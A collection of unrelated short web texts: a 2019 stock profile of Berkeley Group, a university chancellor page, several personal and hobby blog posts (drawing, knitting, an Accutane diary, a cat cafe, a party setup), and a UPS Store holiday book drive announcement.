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text: LON:BKG - Berkeley Group Stock Price, News, & Analysis Sign in or create an account to add this stock to your watchlist. Get Started GBX 3,790 +4.00 (+0.11 %) (As of 01/23/2019 04:00 PM ET)Previous CloseGBX 3,786Today's RangeGBX 3,745.60 - GBX 3,83852-Week RangeGBX 2,903 - GBX 4,270Volume370,973 shsAverage Volume641,898 shsMarket Capitalization£4.87 billionP/E RatioN/ADividend YieldN/ABetaN/A ProfileDiscussionAnalyst RatingsChartDividendEarningsInsider TradesHeadlines Share on FacebookShare on TwitterShare on LinkedInShare on RedditShare on StocktwitsPrint this articleShare by Email The Berkeley Group Holdings plc, together with its subsidiaries, engages in the residential-led and mixed-use property development activities in the United Kingdom. The company builds homes, neighbourhoods, communities, luxury homes, and affordable housing for families, first time buyers, students, and senior people in London and the south of England markets. It operates under the Berkeley, St Edward, St George, St James, St Joseph, St William, Berkeley First, Berkeley Commercial, and Berkeley Partnership brands. The company was founded in 1976 and is headquartered in Cobham, the United Kingdom. Receive BKG News and Ratings via Email Sign-up to receive the latest news and ratings for BKG and its competitors with MarketBeat's FREE daily newsletter. Industry, Sector and Symbol Stock Exchange LON Industry Residential Construction Sub-IndustryN/A SectorIndustrial Products Current SymbolLON:BKG Previous Symbol CUSIPN/A Webwww.berkeleygroup.co.uk Phone+44-1932-868555Debt Debt-to-Equity RatioN/A Current RatioN/A Quick RatioN/APrice-To-Earnings Trailing P/E RatioN/A Forward P/E RatioN/A P/E GrowthN/A Sales & Book Value Annual SalesN/A Price / SalesN/A Cash FlowN/A Price / Cash FlowN/A Book ValueN/A Price / BookN/AProfitability EPS (Most Recent Fiscal Year)N/A Net IncomeN/A Net MarginsN/A Return on EquityN/A Return on AssetsN/AMiscellaneous Employees2,689 Outstanding Shares128,572,000Market Cap£4.87 billion OptionableNot Optionable Berkeley Group (LON:BKG) Frequently Asked Questions What is Berkeley Group's stock symbol? Berkeley Group trades on the London Stock Exchange (LON) under the ticker symbol "BKG." How often does Berkeley Group pay dividends? What is the dividend yield for Berkeley Group? Berkeley Group declared a dividend on Friday, December 7th. Shareholders of record on Thursday, December 20th will be paid a dividend of GBX 7.12 per share on Wednesday, January 16th. This represents a dividend yield of 0.21%. The ex-dividend date is Thursday, December 20th. The official announcement can be accessed at this link. View Berkeley Group's Dividend History. How were Berkeley Group's earnings last quarter? Berkeley Group Holdings PLC (LON:BKG) released its quarterly earnings results on Friday, December, 7th. The company reported $246.00 EPS for the quarter. View Berkeley Group's Earnings History. What price target have analysts set for BKG? 14 brokers have issued twelve-month target prices for Berkeley Group's stock. Their forecasts range from GBX 3,300 to GBX 4,300. On average, they anticipate Berkeley Group's share price to reach GBX 3,738.27 in the next year. This suggests that the stock has a possible downside of 1.4%. View Analyst Price Targets for Berkeley Group. What is the consensus analysts' recommendation for Berkeley Group? 14 Wall Street analysts have issued "buy," "hold," and "sell" ratings for Berkeley Group in the last year. There are currently 5 sell ratings, 7 hold ratings and 2 buy ratings for the stock, resulting in a consensus recommendation of "Hold." View Analyst Ratings for Berkeley Group. Has Berkeley Group been receiving favorable news coverage? News stories about BKG stock have been trending negative this week, InfoTrie Sentiment Analysis reports. The research firm scores the sentiment of media coverage by monitoring more than six thousand blog and news sources in real time. The firm ranks coverage of publicly-traded companies on a scale of negative five to five, with scores closest to five being the most favorable. Berkeley Group earned a media sentiment score of -2.0 on InfoTrie's scale. They also gave press coverage about the company a news buzz of 2.0 out of 10, meaning that recent media coverage is very unlikely to have an effect on the stock's share price in the immediate future. Who are some of Berkeley Group's key competitors? Some companies that are related to Berkeley Group include Abbey (ABBY), Barratt Developments (BDEV), Barratt Developments (BTDPF), Bellway (BWY), Bovis Homes Group (BVS), Boyuan Construction Group (BOY), Cairn Homes (CRN), Crest Nicholson (CRST), Galliford Try (GFRD), Glenveagh Properties (GLV), Henry Boot (BOOT), Inspired Builders (ISRB), Mammoth Resources (MTH), McCarthy & Stone (MCS) and MJ Gleeson (GLE). Who are Berkeley Group's key executives? Berkeley Group's management team includes the folowing people: Mr. Anthony William Pidgley, Co-Founder & Group Chairman (Age 70)Mr. Rob C. Perrins B.Sc., Bsc (Hons), FCA, CEO & Exec. Director (Age 53)Mr. Richard J. Stearn BSC (Hons), FCA, Group Fin. Director & Exec. Director (Age 49)Mr. Justin Tibaldi, Exec. DirectorMr. Paul Vallone, Exec. Director How do I buy shares of Berkeley Group? Shares of BKG and other U.K. stocks can be purchased through online brokerage accounts that support trading on the London Stock Exchange (LSX). Some U.K. companies can be purchased through major U.S. brokerages in the form of American Depository Receipts (ADRs), which are placeholder equities held in a trust by a bank that represent shares of a foreign stock. What is Berkeley Group's stock price today? One share of BKG stock can currently be purchased for approximately GBX 3,790. How big of a company is Berkeley Group? Berkeley Group has a market capitalization of £487.29 billion. Berkeley Group employs 2,689 workers across the globe. What is Berkeley Group's official website? The official website for Berkeley Group is http://www.berkeleygroup.co.uk. How can I contact Berkeley Group? Berkeley Group's mailing address is Berkeley House, 19 Portsmouth Road, COBHAM, KT11 1JG, United Kingdom. The company can be reached via phone at +44-1932-868555. MarketBeat Community Rating for Berkeley Group (LON BKG)Community Ranking: 2.7 out of 5 ( )Outperform Votes: 514 (Vote Outperform)Underperform Votes: 432 (Vote Underperform)Total Votes: 946MarketBeat's community ratings are surveys of what our community members think about Berkeley Group and other stocks. Vote "Outperform" if you believe BKG will outperform the S&P 500 over the long term. Vote "Underperform" if you believe BKG will underperform the S&P 500 over the long term. You may vote once every thirty days. This page was last updated on 1/23/2019 by MarketBeat.com StaffFeatured Article: What are defining characteristics of a correction?


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Since joining the University in September 2014, Rebecca Chopp has emphasized a strong, engaged community that provides opportunities for all members to thrive, as well as the thoughtful evaluation of what higher education means in Colorado and beyond. Through town halls, listening sessions and informal lunches she has established open communication and relationships with students, faculty, staff, parents, alumni, donors and the greater Denver community.
Many of her conversations have focused on the shifts in higher education and the University's role in the future. "Knowledge in the 21st century is around solving problems," Chopp has said. "It's not theory to practice like it was in my era growing up. It's really about bringing the professions together to address the big problems of hunger, of poverty, of the environment."
Imagine DU Strategic Planning
Chancellor Chopp's outreach and listening to the community is informing the University's strategic planning effort called Imagine DU, to be finalized in early 2016. The plan will set bold directions for carrying out DU's mission of educating 21st century leaders.
The University invites input on the plan from all members of the DU community. Share your ideas for DU's future on the Imagine DU website.
The chancellor's story
Rebecca Chopp has been a leader and administrator in higher education for many years. Most recently she was president of Swarthmore College from 2009 to 2014. For more information about her professional and personal background, read her full biography.


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What Marvel character would Nathan Fillion play if he had the choice? It might surprise you!
Oh Nathan Fillion. Becoming an "A-List" celebrity and leading a major movie might not be his destiny but he has still won the hearts of countless fanboys and fangirls worldwide. In a lot of ways he's like this generation's Bruce Campbell. Whenever there's a new comic book film that needs casting it's almost a guarantee that someone, somewhere is yelling, "Give me Nathan Fillion!"
Most of the parts that Fillion has been rumored for have been hero roles, but did anyone stop to think that he'd play a decent villain? In a recent Q&A with his fans on Twitter one person asked Nathan Fillion who he would want to play in a future Marvel film. His answer? Scorpion.
"@andyemcadam: @nathanfillionif you could play any character in an up and coming marvel film?"The Scorpion. Boom.— Nathan Fillion (@NathanFillion) April 12, 2013
I know what you're thinking. "Scorpion?! A third-tier super villain? Boo! Hiss! He deserves better!" But this is someone Nathan Fillion would WANT to play. Yeah, we'd all love to see him as Ant-Man but he didn't seem to keen on that did he? It seems studios have been a little leery casting Fillion as a lead because they think he isn't a big enough draw so if he is going to end up in a big superhero film maybe it's best that he starts with a secondary role. He wouldn't be stuck just playing the one character for the rest of his life either since you've got actors like Chris Evans and Ryan Reynolds who have played at least three different comic book characters each.
It's not like THE AMAZING SPIDER-MAN 2 is casting for the part right now (hell, we have no clue if Scorpion will appear in any future Spidey films) but I'm glad Nathan Fillion threw it out there that he'd be interested. If I was Marc Webb I'd be making some phone calls.
What do you think? Should Fillion be saved for something bigger or do you want to see him as a villain/secondary character?
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Where did time go?
I almost forgot about my blog,
but here are some nice things from last week.
My tiny garden!
Now that I don't have to go to my graphic design class
I'm visiting a lot of exhibitions.
Friday I went to a gallery to see drawings by Henri Jacobs.
He makes a drawing EVERY day. It looks so cool together.
A belated birthday gift (from etsy).
It should help me when I'm stuck :)
> a Beatles compilation my boyfriend made for me
> homemade granola bars (granola is my number 1 addiction!)
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Saturday, 27 February 2016
Tuesday, 23 February 2016
Sketch for new drawing
Today I changed things a bit, but despite three hours of drawing I don't feel like I came forward very much!
Sorry about the lighting - I used the natural light from the window, but it gets darker the farther away from the window you are! (Imagine that!)
The figures near the front have gotten bigger and I am not having much luck rendering the ones in back in a recognizable fashion, but I am trying to improve the composition.
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Labels: Begeisterung, Wiener Cafe
Friday, 19 February 2016
Weekend of Feb 20
Fox paws so far. Just screwed up and repeted red in the same place as last pattern! ;-(
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Labels: Grandmommy Beazley
Tuesday, 16 February 2016
Sunday, 14 February 2016
Sunday Drawing Report
You may remember this one: (I have toned it up a bit to give it more compositional interest.)
I decided to try and do a more minimal version of it with a few lines to connect less comprehensible areas.
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Labels: Conroe home, drawing, drawings, Great Grandmother Beazley, mom and Aunt Chris Larson
Saturday, 13 February 2016
Personality Tests
Facebook knows we are suckers for those what character are you in Twilight tests that purport to tell us something about our personalities. So I took two today that I thought were pretty good. Of course if you post to Facebook that you took them they put a big add for the test rather than reporting who you are these days, so I thought I would post my results here. (Just for honesty's sake I was Willow in the Buffyverse quiz not long ago - but it asked really obvious questions, like what color is your hair and are you geeky, into killing things or a fashionista - you can kind of guess what character goes with what!)
Anyway, I was happy with the results of my first test which asked about color memory. I've been told they give everybody 100% on these tests, but I guess I still want to believe that I remembered the colors of things in the famous paintings they asked us about. I love that they use a black and white photo to report to you about your abilities to remember colors!
The second test should not have surprised me, but it did. We had to answer questions like which way do we cross our legs or our arms and what we saw in pictures. I consider myself fairly analytical so I was sure I was giving all the left brain scientific-styled answers, but instead I got this.
It is a bit simplistic of course (see I do have that left brain aspect after all!) but I was happy to see that my sense of my own creativity could be reinforced.
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Labels: color memory, personality tests, right brain left brain
Cafe Before the Opera Drawing
Well, I'm back a t work on my recent drawing. I didn't like it so much that I spilled a coke across it as I was bringing it upstairs!
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Labels: drawing, drawings, Opera Cafe
Bed Space
Two nights ago I got ready to go to bed and it turned out to be harder than I thought.
Luckily there was a little space on the right side. (Can you tellI ususally sleep on the left side of the bed? Only the orange Kitty left me my space! Well, it was cold that night!)
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Labels: pets in bed
Tuesday, 9 February 2016
Drawings for the Day
Here is the original.
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Labels: drawing, drawings, Grandmommy Beazley, graphite drawing, Opera Cafe, Three Faces
Sunday, 7 February 2016
Drawing Update
So, I am trying to work on spatial relations and negative space, but Iam not succeeding too well.
I'm at a stopping point with the picture of Grandmuddy Hunt and I also started a new drawing to try and work on space. I was hoping to have five or six levels of space and I have three, but it is a beginning.
Grandmuddy Hunt feels finished to me, but of course my teacher is usually not satisfied as easily as I am. (I'm not sure why the backgraounds are always so grey in my photos, but if I auto contrast, thenthe pencil lines become much darker than they actually are and if I raise contrast then I usually lose subtleties. (I guess I need to take pictures with more available light.)
What will my teacher say? Probably too much rendering and he rarely likes it when I use dark values.
This one feels like i am going backwards. Iknow it is not about the accuracy of the faces and figures per se, but it feels very much like I would have drawn 40 years ago. We'll see what advice I get.
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Labels: drawing, drawings, Grandmuddy Hunt, Opera Cafe
Friday, 5 February 2016
Fox Paws Update
Well, I've made it through almost an entire run of the fox paws pattern. This time went better, but I fudged a lot on the last row so I hope that won't be too obvious!!
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Wednesday, 3 February 2016
Sketch of Faces (Updated)
Here's the draft. I'm about to do drastic stuff to it!
I decided I wasn't happy with the draft - kept working on it:
The figure on the right is fairly faint, but the other two are fairly strong. I can't seem to get the right balance in a photo. Here is a second shot in which the right figure is too prominent, but you can see the other figures better.
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Labels: drawing, drawins, Great Grandmother Hunt


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Today's Report: "Living Wide Awake™" Feeling Emotionally Divided 6-1-17
June 1, 2017
Right now, your stability requires giving some thought to your decisions, and letting go of feeling emotionally divided.
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Consider your options before challenging/changing your opportunities.
Wide Awake Words™ for today: Closure, happiness, stability.
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Accutane Progress
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Hello my fellow acne sufferers! I recently started accutane and figured I'd start a blog on here with my progress. Ive been coming to this site for many years but never got around to making a profile but I finally have. Im going to be taking pics and videos of my progress on accutane for you guys and for myself to keep track. I'm a 21 yr old male 168lbs and am currently on day 13 taking 20mg a day. I know its a small dosage. My dermatologist originally prescribed me 60mg a day but I took accutane back when I was in high school and i took either 60 or 40mg a day (i dont remember lol) and my face got (and i know its a side effect) SUPER RED and tight. I hateee redness so i ended up stopping it. But now that I've started again I asked her to put me on a lower dosage and ill be honest she said to take 40mg a day but Im only taking 20 because I dont believe my acne is "severe" however it is moderate and can occasionally get close to severe but I'm going to up my dosage to 40 soon. Im already seeing changes! First of all what makes me so happy is that its really starting to reduce my OIL!!! Sooo happy about that. My face gets extremely oily. Im not talking about like a shiny face oily but like looking like someone just rubbed bacon grease all over. People would ask me if I was sweating or just why my face is so greasy. I HATE that. Its like I'm aware thanks for telling me something Ive known for years bro! Lol w/e but yea I'm really excited that I dont have to go to the bathroom EVERY hour to use oil absorbing sheets its great. And the redness isnt much more than it usually is I'm using jojoba oil and Aveno Ultra Calming Lotion and I think that combo is doing the trick for the redness. Although my face looks pretty red in the pics its not as bad as it looks most of the time. But either way Im going to finish the course this time!
I apologize this is really long but I have alot to say. I never really get to talk to people about my acne so it just kinda sits inside my head. Anyways I think I'm experiencing an initial breakout because my forehead is getting pretty bad. Kinda sucks I have a lot of cysts that hurt. I hope they go away soon. Anyways I think thats it for tonight. Let me know if you have any questions or advice! Thanks. And good luck my fellow acne sufferers! Heres some pics I took two nights ago and tonight. These are horrible pics of me btw I look ugly as hell and no I'm not crying in them I have something stuck in my eye right now so its making them red and the others.... well I was enjoying some "plants" before I took the pics haha so dont judge me.


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Are you planning a New Year's Eve party? I can't wait to ring in the new year with my people. Last week I placed an order with Oriental Trading and it got here super quick. Since we aren't hosting Christmas at our house this year, I went ahead and set everything up so you can see the awesomeness that came in my OT box.
My kids are so excited about the photo booth backdrop. That thing is huge and totally reusable.
We are ready to ring in the New Year with hats, necklaces and noise makers.
And we can't forget the champagne flutes, ehem. Maybe we will party like it's 1999. Ha! That was a good year.
Oriental Trading is my party spot for sure. They had me at "online ordering" and "delivery". Speaking my love language y'all. Now, my house isn't really this yellow so don't be fooled. My husband said, why does our house look so yellow? I think he wants a disclaimer. Ha.
Merry Christmas friends and Happy New Year. 2016 was a blessing and I can't wait to see what God has planned for 2017. Whatever season of life you are in, be present. Be purposeful. Live AND Love BIG.


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Jul 23, 2016
Cat Cafe Review [Video]
Cat Cafes are great places to chill out with some cats and enjoy delicious snacks. After being in Japan for over a year, I decided to finally visit one of these infamous cafes.
Fun Fact: The Japanese word for cat is Neko (猫) and meow is translated as Nya (ニャー). [Hence Nyan Cat]
I'm a South African working and living in Tokyo, Japan. I'm an avid traveler and I want to document my travels around Japan and South East Asia.


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The UPS Store and Toys For Tots Book Drive Helps Deliver the Gift of Reading
2011-12-06 · By Editor
The UPS Store located on Atlantic Ave. in Long Beach, CA, in conjunction with The UPS Store locations nationwide, is teaming up with the Marine Toys for Tots Foundation and Sony Pictures' holiday movie, "Arthur Christmas,"to help deliver the gift of reading through a new book.
Throughout the holiday season, The UPS Store in the Bixby shopping center on Atlantic Ave. will sponsor a book drive in order to benefit Miller's Children's Hospital. From now through Dec. 16, participants may drop off new books for the patients at The UPS Store's in-center drop off bin.
"During this time, we hope to deliver the magic of the holidays to children at the Miller Children's Hospital through the Toys for Tots Literacy Program," said Anthony Wingfield, owner of a The UPS Store in Bixby Knolls. "This is our first year working with Miller Children's Hospital, which makes this a very special book drive for us. We plan to continue this book drive every Christmas for years to come".
In addition to this book drive, through Dec. 31, The UPS Store in Long Beach will sell donation cards to benefit the Toys for Tots Literacy Program. Every dollar donated helps purchase books for less fortunate children in the greater Long Beach community.
Characters from the 3-D, CGI-animated, family comedy are incorporated into The UPS Store network's holiday Toys for Tots Literacy Program in-center donation campaign.
Additionally, through Dec. 31, customers can go to The UPS Store Facebook page to make a donation directly to the Marine Toys for Tots Foundation and learn more about the Toys for Tots Literacy Program. OPTIONAL Other online components of the holiday campaign include games on ArthurChristmas.com: a gift wrapping game that provides pack-and-ship tips by The UPS Store, and the Steve's S1 Flight Simulator that gives participants the chance to get a secret code to obtain bonus game time by checking in on foursquare at a participating The UPS Store location. Customers can also receive 20 percent off holiday printing when they check in on foursquare at a participating The UPS Store location.